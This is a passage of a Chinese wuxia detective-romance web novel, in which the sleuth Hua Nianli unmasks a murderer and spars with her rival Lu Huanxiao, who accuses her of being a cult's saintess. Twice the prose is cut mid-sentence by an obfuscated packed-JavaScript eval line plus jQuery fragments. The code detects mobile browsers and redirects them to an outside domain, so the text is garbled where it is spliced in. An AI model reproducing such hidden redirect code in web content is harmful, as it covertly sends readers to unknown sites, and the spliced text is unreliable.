《针锋相对许久后,那小毒怪竟对我生了情(探案)》
3. 她非玉瓶
半个时辰后。
弑暗堂。
花念狸垂首丧气地走入。
正与一众弟子闲谈的方昊回见到花念狸这幅模样后,心情大好,即刻领着弟子们将花念狸团团围住。
只见方昊回白了眼花念狸,摆出一副不可一世的模样:“哟,这不是先前还兴致勃勃,扬言真凶有二人的‘第一神探’吗?怎么如今的样子却犹如丧家之犬一般呢?该不会是凶手没抓着吧?”
见花念狸未言,方昊回甩袖,更加趾高气扬:“没抓着很正常,因你说的凶犯有二者本就是子虚乌有!或许你还不知吧,在你回堂以前,堂主已然召集众弟子且亲口说了此案无凶。”
此话出后,围着花念狸的弟子们颔首连连以表赞同,并开始议论纷纷。
“啧啧,看来花念狸这个‘第一神探’显然是浪得虚名。”
“你说花念狸浪得虚名都是辱了该词,应该说她如玉瓶?,只配用来插遍地可见的飞蓬。”
……
议论不断,难以入耳。
但花念狸却后退一步,猝然歪首,笑弯了眸,一手掩唇:“你们说小女如玉瓶?,小女不气,因着玉瓶一尘不染,与那些口出脏言的疯犬天差地别。”
让你们这帮毫无主见,只知看戏之人对小女口出污秽之话,被小女报复,形容成疯犬是你们应得的!
“你这个贱人口中的那些疯犬,指的都是谁?”方昊回以为花念狸是在出言羞辱,立刻将声音抬高了不少,“是本大爷与这些来看你热闹的弟子吗?”
花念狸抬指点了几下额角,而后指向方昊回,嘴唇一翁一张,语调有高有低:“这个……你没有,可惜可惜。”
一顿,双手搓了搓,放于唇边呵了口气,双眼睁得滚圆:“唉!你非要对号入座,认为你亦是疯犬,小女自是拦不住你。可小女还是想说,小女也许会用‘疯犬’这个词形容他人,但绝不会用它来形容你,因为有些落俗。”
“哦?那你会用什么词形容本大爷?”方昊回来了几分兴致,迫不及待地问道。
“真要听?”
“嗯,你快说!”
“猪狗不如。”
“……”方昊回双眉一拧,瞳孔一缩,半晌没说出半个字来。
“别这般看小女,明明是你让小女说的。”花念狸重重叹了口气,脸上泪流成河,冲着方昊回抱拳行礼,“唉——你是知的,小女记恨,你说小女贱人,那小女自然要报复你这头肥猪……”
方昊回实在听不下去了,高高扬起手,似是想扇花念狸一记耳光。
花念狸脸色瞬冷,泪瞬间止住,伸手扣住方昊回的手腕,任凭其如何挣扎都紧紧扣不放。
随后,花念狸微微侧头,盯着方昊回袖内的几根毛刺望了一阵,又看了看其掌心,另一手遮了一目,缓慢摆首:“方昊回,你掌无胼胝,显然非耕种者,接触到田夫需用之物的机会少之又少。故,小女好奇,为何你袖中会有用来扎谷物的枲绳毛刺?而且呀,只有新买枲绳才会有毛刺的!你该不会是打算用新买之绳去行凶,比如勒人脖子之类——”
听到这里,方昊回浑身一僵,别过头去,扬声:“什么新买枲绳?什么行凶?什么勒人脖子?本大爷怎么听不懂你在说什么?”
花念狸一把甩开方昊回的手,双手捂面,下一秒将首歪向一边,上挑右眉:“听不懂就听不懂,为何要重复这些语句?又为何要抬高音量?难道小女所言之话令你如坐针毡了?可你若真心中无鬼,为何会如芒刺背?”
“本大爷……”方昊回下意识想要去辩解,却发现自己牙不伶,齿不俐,完全讲不出反驳之言来。
花念狸撅起嘴巴,眨了下左眼,又眨了下右眼,“方昊回,勿言。难道你不知什么叫做说多错多吗?还有呀,方才诸位也见到了,方昊回确实力小,连被小女一介弱女子扣住手腕都挣脱不了……”
方昊回后退几步,一屁股跌坐在地,声音几乎是从牙缝中挤出的:“花念狸,算你厉害!本大爷坦白了,挂梅枝之尸的凶手是我和天蛇教左护法祁苓联手杀死的。”
弟子们听完方昊回的一番话后,都傻眼了。
半晌过后,一名近些日子好不容易考入弑暗堂的弟子用带有几分不确定的语气问:“所以……是我等眼拙了,花念狸姑娘真如传闻所言,是当之无愧的第一神探?”
“是了。”
一道略微苍老的声音由远及近。
众弟子寻声看去。
见到来人后,纷纷行礼。
花念狸亦行了一礼:“苟堂主。”
“念狸,不必多礼,还是快和他们讲讲你,逍儿和老夫三人演的戏吧。”苟天林一下又一下摸着下颚黑须,冲花念狸慈祥笑着。
“喏。”花念狸先张开双臂,又竖起食指,在一众弟子眼前晃了一圈,眉梢轻挑,把“哦”这个字拉得婉转且长,“哦——此戏还得从半个时辰前说起!半个时辰前,小女与陆焕逍一同抓到此案凶犯之一祁苓,并从其口中得知,其有一名同伙,叫方昊回。
“众所周知,狠辣毒舌又好胜的陆焕逍总和小女针锋相对。因此呢,那时小女就和他约定好,先将祁苓秘密带回,由苟堂主看守,再让苟堂主告知你们此案无凶,使方昊回放松警惕。随后……小女就与陆焕逍公平竞争,谁先让方昊回坦白己为真凶,谁就可从苟堂主那儿拿走结案令,去结案阁结案,累一积分。”
花念狸向着众人鞠了躬,又直起身子,双手捧着脸颊,眼泪瞬间又流了出来:“如今看来,是小女胜了。而你们,居然信了方昊回的话,皆以为小女没本事。小女好生难过呀!”
那些弟子顿时感觉脸甚疼。
然而接下来苟天林对花念狸的连连夸赞更让他们羞得面红耳赤,恨不得马上找条地缝钻进去。
“笑话同门,出口为脏,盲目跟风,成何体统?”苟天林的神情愈发严肃,弓起指节,在那些弟子的额上都敲了下。
敲毕,苟天林从怀中掏出一枚结案令,递给花念狸:“结案去吧。”
花念狸用力颔首,又宛若轻盈鸟雀般绕着弟子们转了一圈,压低声音:“出于好心,小女提醒你们一句,若日后不想再挨训,言语之前请先动脑。”
言完,花念狸一蹦一跳地向着结案阁而去。
方行一半路,一条红黑相间的毒蛇就无声无息地缠上了她的脖颈。
花念狸足下步子一顿。
这蛇看着好生眼熟,好像是陆焕逍的爱宠来着?
还不及花念狸细想,一道气若游丝的男声自一棵树后传来。
“小人得志、毫无头脑的蠢妇……若不想……身中剧毒,夜夜难寐……就扶陆某……回屋。”
闻声,花念狸徐行至那人身前,眸中晶莹了一大片:“哟,这不是愚夫吗?怎么些许时间不见,便落得了一副半死不活的模样?该不会是因你这个第二神探又要比小女少一分,所以心中难受,想和小女比一比演戏?啧啧啧,那抓祁苓那会,小女便说了,你……”
花念狸没有接着往下说矣,只因她的眼角余光瞥见那条毒蛇之首离她越来越近,信子都快碰至她脸上了。
“陆焕逍,把蛇收了,小女扶你回房就是。”花念狸吸吸鼻子,用带着哭腔的声音道。
敢用毒蛇吓小女,陆焕逍你就等着日后遭小女报复吧!
陆焕逍抬抬沉重眼睑,指尖微动,那条毒蛇便十分听话地爬回了其袖中。
“陆某……不喜骗子,你最好……说到做到。”
“知道知道。”
-
陆焕逍住所。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15018459|162136||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
花念狸费了九牛二虎之力将陆焕逍平放于榻。继而抿了抿唇,泪如断了线的珠子般有个不停:“陆焕逍,你是不知呀,小女身娇体弱,背你个大男人很废力气……”
“蠢妇,有话直说。”
“好勒。”花念狸将双手往后一背,笑嘻嘻地说,“给小女几颗能快速疗伤的丹药呗!”
算上此枚结案令,小女离换到解蛊药下落情报便还差九个案子,亦是九积分。
未来的九个案子许会有凶险至极,甚至需以命相搏的,故,问陆焕逍这个小毒怪讨要能快速疗伤的丹药是正确的。
不过话又说回来了,他用毒蛇恐吓小女,小女却只用讨要丹药的方式报复他,是不是有点报复的太轻了?
“明明……还是青天白日,你个酒囊饭袋、呆头呆脑、落井下石的蠢妇就开始……说胡话了,还真是爱……白日做梦。”陆焕逍面色愈来愈苍白,但嘴却一如既往地不饶人,“你莫要得意忘形,待陆某……伤势好转,定努力破案,早晚拿回……本该属于陆某的……第一神探之称!”
“愚夫,小女好心扶你回房,你却咄咄逼人、狼心狗肺,居然连仅为小小的丹药都不肯给。”花念狸垂下漆黑羽睫,遮盖住眸中不明的情绪,声音时而高,时而低,仿佛在吟诵佳句一般,“没想到堂堂第二神探竟非江海不逆小流,宛若铁制金禽?,拔根毛都不愿!”
“闭嘴!不许再言陆某……为第二神探,不然陆某……不介意将你身上的肉……一片片割下……喂给爱宠吃!”陆焕逍强撑着身子想坐起来,却以失败告终,一股腥味还于此时涌上喉头,微微张口,一口黑血便喷了出来,“噗——”
“陆焕逍,还是少言些吧,毕竟你都吐血了呢!”望着那黑色之血,花念狸一怔,敛起平日戏精无比的样子,变得郑重起来,“不过看这血的颜色,你可是……中毒了?”
“与你无关。”
“你我二人将祁苓秘密送至苟堂主那后,就分开了。小女想知,分开之后,你去了哪里?”花念狸像是完全没听见“与你无关”这四个字,泪眼婆娑地望着陆焕逍,“还有,你这毒是何时中的?”
见陆焕逍不语,花念狸将陆焕逍的手抬起,轻抚上她的面庞:“陆焕逍,虽你我二人看似死对头,但小女菩萨心肠……”
“莫要……拐弯抹角。”陆焕逍甩开花念狸的手,面色变得有些不自然,耳根亦忽然飞上一抹绯红。
“……哦。那几枚快速疗伤的丹药能不能……”
陆焕逍侧身而躺,面朝着壁,像是不愿让花念狸见到他微红的脸颊:“放于矮柜上之盒里……有形似星榆的丹药……可快速疗伤,你看着拿……就好。拿好出去,陆某要……给自身解毒矣。”
花念狸照做,还贴心地用其余药丸拼出几个字来。
“那小女走了?”
“嗯。”
待花念狸离去后,陆焕逍剧烈喘息,头痛欲裂,于榻上翻来覆去,双手不受控制地用力扯着衣与发。
还好……没被花念狸见到陆某这副模样,不然颜面要全无了!
陆焕逍吞咽了一口口水,费力地去够盒子,却因臂不够长且重心偏前,导致摔落于地。
“刷——”
这时,门自中向左右两边而开。
花念狸站于门口,双手捏着衣角,眨巴了几下眸子:“陆焕逍,小女其实还有一事——”
一顿,连忙背过身去:“啊!非礼勿视,非礼勿视!”
之所以说是非礼勿视,是因为陆焕逍墨发凌乱,衣衫不整,看起来像……被人糟蹋了一般!
此刻,陆焕逍的身子猛然缩成一团且微微颤抖,口中不断有血溢出。
他眼神狠辣,声音却是断断续续的,听起来虚弱无比:“蠢妇……关门,然后……滚!”
4.焕逍撒谎
许久之后,花念狸回眸望了一眼陆焕逍,见其已整衣敛容完毕,眼下正双臂环抱,倚柜而立,睥睨着她,不由地蹙起柳眉。
这陆焕逍怎么就平复如故了呢?不然小女就能同他讲,若他还未破完西域案子,倒不如歇息数日,好好养伤,让心善无比的小女去帮他破彼案,累上一分。
等等,小女记得他适才好像有对小女出言不逊来着?忍,不是小女的作风,小女现下就要报复回来!
只看花念狸飞速回身,将首往右侧一转,双手捂着心口,语速甚快:“嗐!愚夫,你能恢复,显然是命硬,不,命长之兆。小女以为,既是命长,那定犹如色似土,样似扁亥首的千年之鳖……”
“蠢妇,你可是在说陆某是千年土鳖?陆某看你已经活腻,想入土为安了。”陆焕逍活动了下筋骨,脸上微露冷怒之色,出言打断了花念狸之话。
花念狸顿时感受到一股自足下而起的寒意,退了数步,垂眸敛目,幽幽叹息:“唉——小女万万没想到,你这头髓竟满是铁线粉!”
“信口开河、贼眉鼠眼的蠢妇,你此言何意?呵,如果你不能给陆某一个满意的答复,陆某就会让你仿若烈焰焚身,痛不欲生,接着将你的指节一个一个砍下来,当作零嘴喂给陆某的爱宠吃。”陆焕逍眯起眸子,眸中蒙上了一层渗人的寒意,唇角上钩。
“嘶嘶嘶——”
陆焕逍所养的毒蛇像是感应到了什么,从陆焕逍的袖中钻出,急速地向上而爬,终缠于陆焕逍之颈,仰起蛇首,俯视着花念狸。
花念狸呼出一口热气,鼻子一酸,豆大的泪便从眼眶滚落出来:“愚夫,小女只是盼着你长命百岁,真的无其他之意。你也知道,破案之时常能遇到危险,万一哪次不慎,就,就,就……”
花念狸泣不成声,身子还微微抖着。
陆焕逍盯着花念狸看了一阵,令蛇回袖。
他抬手想去摸花念狸之首以示安慰,却又觉得此举甚是唐突,便将手收回,背在身后:“陆某与你相识已有半年,你应懂我武艺高、破案能力强吧。故,陆某不会出事的,你这个贼眉鼠眼、惺惺作态的蠢妇亦不用陆某而哭。”
啧,这花念狸一日至晚都在演,也不知她这些口出言语中到底哪句真,哪句假?
但不论真假,陆某现下已将毒逼出,可继续探西域之案。
十分无知、自诩厉害的蠢妇,你没多少时辰好得意了,因着陆某很快就会夺回第一之位,并让你知晓陆某超越你就宛如踩死一只玄驹般轻松。
还有,木匣子中你用除能快疗伤之丹以外的丹药拼出的那一行字陆某看到了。
好一个“给你留一颗自用,不谢”!
让你看着拿,你却只剩一颗给陆某,果然,果然……是蠢妇才会干出之事!哼,真以为陆某这个小毒怪炼药不需要时间吗?
罢了,送出去就没有要回来之理。如果蠢妇你这个强盗下次再敢这么明目张胆、大手大脚地拿丹药,陆某绝对要你粉身碎骨,死后之魂也久久不得安息!
陆某……说到做到,不会再因你是个姑娘家,就心慈手软了!
“真的吗,愚夫?”花念狸眨了下双眸。
“真的,蠢妇。”
得到陆焕逍的肯定答复后,花念狸一溜烟跑至树后,探出半个首来,双手捧着脸:“愚夫,你这个第二神探的气量倒是蛮大的嘛,不仅没因小女只留了一颗速疗之丹而生气,还不介意小女称你为千年土鳖,甚至还想摸小女之首……”
“住嘴!”陆焕逍气得浑身发抖,似鬼魅般闪至花念狸身前,擒住后者下颚,迫使后者和他对视。
陆焕逍歪过头,眉角一挑,目露凶光,故意把原本清澈桀骜的声音压得很低很低,威胁道:“再让陆某听到第二神探,千年土鳖这两个词,蠢妇你就等着人首落地,不,死无全尸吧!”
见花念狸鼓起双腮,双眸扑闪,一副似懂非懂的模样,陆焕逍心中的愤怒之火灭了些,撒手,但语气还是格外生硬:“装可爱也没用!反正日后不许再说陆某是第二神探或千年土鳖了,听懂了吗?愚夫这个称呼随便,反正陆某也称你为蠢……”
“这个是愚夫你自己讲的哦!君子一言,驷马难追!”花念狸的眼珠子滴溜滴溜转了一圈,挑眉,挤出尖细之音,像是要故意恶心陆焕逍一样,“陆焕逍是愚夫!陆焕逍是愚夫!陆焕逍……唔唔唔!”
原来是陆焕逍实在听不下去了,忍不住伸手捂住了花念狸的嘴。
“陆某松手后,不许再胡言。”陆焕逍斜飞入鬓的剑眉紧蹙,黑若点墨的眸子凝聚愠色,“明白吗?”
花念狸颔首连连,宛若捣鼓胡蒜,舌尖则顶了一下后槽牙。
陆焕逍,你今日这般恐吓小女,小女记下了。
我们,来日方长!
陆焕逍松手,往弑暗堂之门方向而去,像是要出堂。
“愚夫,等一下!你可是要出堂?”花念狸出声喊住了陆焕逍。
“是又如何?”
“去继续破西域案子?”
“……正、是!”
“那……”花念狸明眸微沉,稍稍敛眉,“你今日为何会现身于祁苓所在之地?是沿着西域之案的某个线索一路顺藤摸瓜过来的吗?还是……”
然而,她的话未说完,就被陆焕逍打断了。
“你以为陆某与你这个不知天高地厚的蠢妇是何关系?凭什么连这个都要告诉你?”陆焕逍怒极反笑,闪身至花念狸身后,从后将花念狸拉入怀里,又将下颚搁于花念狸的右肩,“不过——”
“你做什么?”花念狸的眸中闪过一丝慌乱,随即连做几个深呼吸,强行让自己冷静下来。
“不做什么,只是……突然有个问题困扰住了陆某,陆某想请蠢妇你这个第一神探帮忙分析分析。”陆焕逍吹了口气,用气声道,“要好好分析哦,不然你的下场——”
陆焕逍从袖中拿出几枚淬毒飞镖,扔出,将粗壮的树干扎成了筛子。
“就会如它一样。”陆焕逍的语气淡淡的,虽听不出任何情绪,但却莫名压得花念狸喘不过气来。
“小女……会好好答的。”
切,一天到晚就知道吓唬小女这个弱女子,真非人哉,呸!
要不是小女还是有些忌惮你这沾毒之镖
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029189|162136||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
且堂中时不时会有弟子出没,小女早就不留余力地狂揍你一顿,以报你方才恐吓小女之仇!
“若是有一女凭借某个仅魔教中人才懂的东西知晓凶犯为何人,还准确无误地找到了那名凶犯,那么你以为……她是什么身份呢?”陆焕逍一把推开花念狸,并绕到后者身前,摆出一副皮笑肉不笑的样子,“蠢妇,你可是堂堂第一神探,该不会真脑如亥,身亦似亥,连这么一个简单的问题都分析不出个所以然来吧。”
听完陆焕逍的一番话后,花念狸的眼底闪过不易察觉的怯意。
迈着细碎的步伐后退,泪说来就来,唇角压平:“这问题着实有点太难了,恕小女分析不了。”
“分析不了?是吗?”陆焕逍丝毫没有停止此话题之意,而是不依不饶道,“可是陆某觉着,你这个自诩聪慧、吃里扒外的害群之马并非分析不了,而是心虚了。”
说毕,陆焕逍深邃如渊的眸子一眯,逐步靠近仍在后退的花念狸:“陆某言对否,天——蛇——教——圣——女?”
花念狸足下步子一顿,心跳陡然加快,不动声色地吐了几口气,猛吸一口气,故作惊讶:“什么?天蛇教圣女?那可是传闻中心狠手辣的存在!像小女这种身子单薄如纸,只会些三脚猫功夫的小废物怎会是那个女魔头?”
陆焕逍今日为何会说出这种话来?他是真的打听到了什么,还是说又是在搞那种让人误以为一切皆大白的小把戏,就像对付祁苓那样?
还有,花念狸先前就隐隐觉着陆焕逍英雄救美的时间有些太巧了且他去西域至返回的时间明显比正常时间少了四至五个时辰。就算他骑的是绝世的汗血宝马,亦无法做到能那么快回来!
那这就可以说明,陆焕逍绝对在撒谎,他没有去西域!
可……他为何要撒谎呢?
花念狸心中百思不得其解。
“伶牙俐齿、尖嘴猴腮的蠢妇,若是不想痛苦而亡且死无葬身之地的话,就主动入狱自首去。看在你这个蠢妇与陆某是同堂一场,陆某愿意给你三个数的考虑时间。时间一到,若你这个蠢妇还未向狱之方向而行,那你就去死吧!”陆焕逍眉头紧锁,眸若寒星,指腹摩搓,又摸了摸不知何时又从袖中爬出的毒蛇之首,“三——”
“等,等,等,等下!”花念狸有些摸不着头脑,扯了扯唇角,“小女犯了何事?为何要入狱?”
陆焕逍手指微动,指缝间赫然多了几枚寒光闪闪的淬毒暗器:“犯了何事?你这个两面三刀、狗仗人势、为富不仁的天蛇教圣女还有颜面问?自然是——”
一顿,迅速奔至花念狸身前,传音道:“蠢妇,低头。”
“喏,愚夫。”花念狸不明所以,但还是下意识地照做了。
而就在花念狸低首的那一刹那,陆焕逍手中的暗器擦着前者颅顶而过,直直射向高耸入云的树冠。
几秒后,花念狸听到一声惨叫。
转身,只看一名女子自树上跌落于地,双腿一蹬,便双目圆瞪着咽了气。而其心口插着几枚陆焕逍扔出的淬毒暗器!
“这是何意?”花念狸看向陆焕逍,眸中带有几分不解。